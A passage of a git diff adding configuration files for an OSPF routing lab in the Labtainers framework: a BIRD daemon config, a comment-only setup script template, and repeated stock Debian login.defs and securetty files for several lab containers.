"/var/log/bird.log" all; + + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + +#protocol static STATIC4 { +# ipv4 { preference 110; }; +# route 202.15.0.0/24 via "eth0"; +#} + +#### +# Protocol template + +protocol ospf { + ipv4{ + import all; + export filter { + ospf_metric1 = 1000; + if source = RTS_STATIC then accept; else reject; + }; + }; + + area 0 { + interface "eth0", "eth2" { + cost 5; + type pointopoint; + hello 5; retransmit 2; wait 10; dead 20; + authentication simple; password "XXXX"; + }; + interface "eth1" { + cost 5; + type broadcast; + hello 5; retransmit 2; wait 10; dead 20; + authentication simple; password "XXXX"; + }; + }; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/netmon/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/netmon/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/netmon/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/netmon/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/netmon/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/netmon/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/netmon/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/netmon/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/netmon/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/s1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/s1/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/s1/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/s1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/s1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/s1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/s1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/s1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/s1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/tap/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/tap/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/tap/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/tap/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/tap/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/tap/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the 